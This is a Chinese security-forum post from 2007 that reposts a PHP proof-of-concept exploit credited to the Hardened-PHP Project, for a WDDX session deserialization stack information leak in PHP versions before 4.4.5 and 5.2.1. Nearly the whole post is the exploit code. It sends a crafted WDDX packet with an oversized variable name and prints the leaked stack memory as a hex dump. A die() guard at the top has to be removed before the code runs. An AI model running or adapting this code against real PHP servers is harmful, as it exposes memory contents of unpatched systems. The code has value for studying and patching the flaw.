‹‹ 上一主题 | 下一主题 ››
发新话题
打印

PHP < 4.4.5 / 5.2.1 WDDX Session Deserialization Information Leak

pub!1c

魔

团队执行官

Rank: 8Rank: 8

E.S.T核心成员

帖子
3926 
精华
128 
积分
209876 
阅读权限
200 
性别
男 
在线时间
1109 小时 
注册时间
2007-10-23 
最后登录
2008-9-7 

资料收集奖 运营支持奖

楼主 大 中 小 发表于 2007-3-8 22:54  只看该作者

PHP < 4.4.5 / 5.2.1 WDDX Session Deserialization Information Leak

复制内容到剪贴板
代码:
<?php
////////////////////////////////////////////////////////////////////////
// _ _        _           _    ___ _ _ ___ //
// | || | __ _ _ _ __| | ___ _ _  ___ __| | ___ | _ \| || || _ \ //
// | __ |/ _` || &#39;_|/ _` |/ -_)| &#39; \ / -_)/ _` ||___|| _/| __ || _/ //
// |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_|   |_| |_||_||_|  //
//                                  //
//     Proof of concept code from the Hardened-PHP Project    //
//          (C) Copyright 2007 Stefan Esser         //
//                                  //
////////////////////////////////////////////////////////////////////////
//    PHP WDDX Session Deserialization Stack Information Leak   //
////////////////////////////////////////////////////////////////////////

// This is meant as a protection against remote file inclusion.
die("REMOVE THIS LINE");

if (!extension_loaded("wddx")) {
  die("wddx extension needed\n");
}

ini_set("session.serialize_handler", "wddx");

session_start();

session_decode("<wddxPacket version=&#39;1.0&#39;><header/><data><struct><var name=&#39;".str_repeat("A",8192)."&#39;><string>A</string></var><var name=&#39;1&#39;><string>1</string></var></struct></data></wddxPacket>");  

$keys = array_keys($_SESSION);
$stackdump = $keys[1];

echo "Stackdump\n---------\n\n";

for ($b=0; $b<strlen($stackdump); $b+=16) {
  printf("%08x: ", $b);
  for ($i=0; $i<16; $i++) {
   printf ("%02x ", ord($stackdump[$b+$i]));
  }
  for ($i=0; $i<16; $i++) {
   $c = ord($stackdump[$b+$i]);
   if ($c > 127 || $c < 32) {
    $c = ord(".");
   }
   printf ("%c", $c);
  }
  printf("\n");
}
?>

TOP

‹‹ 上一主题 | 下一主题 ››
发新话题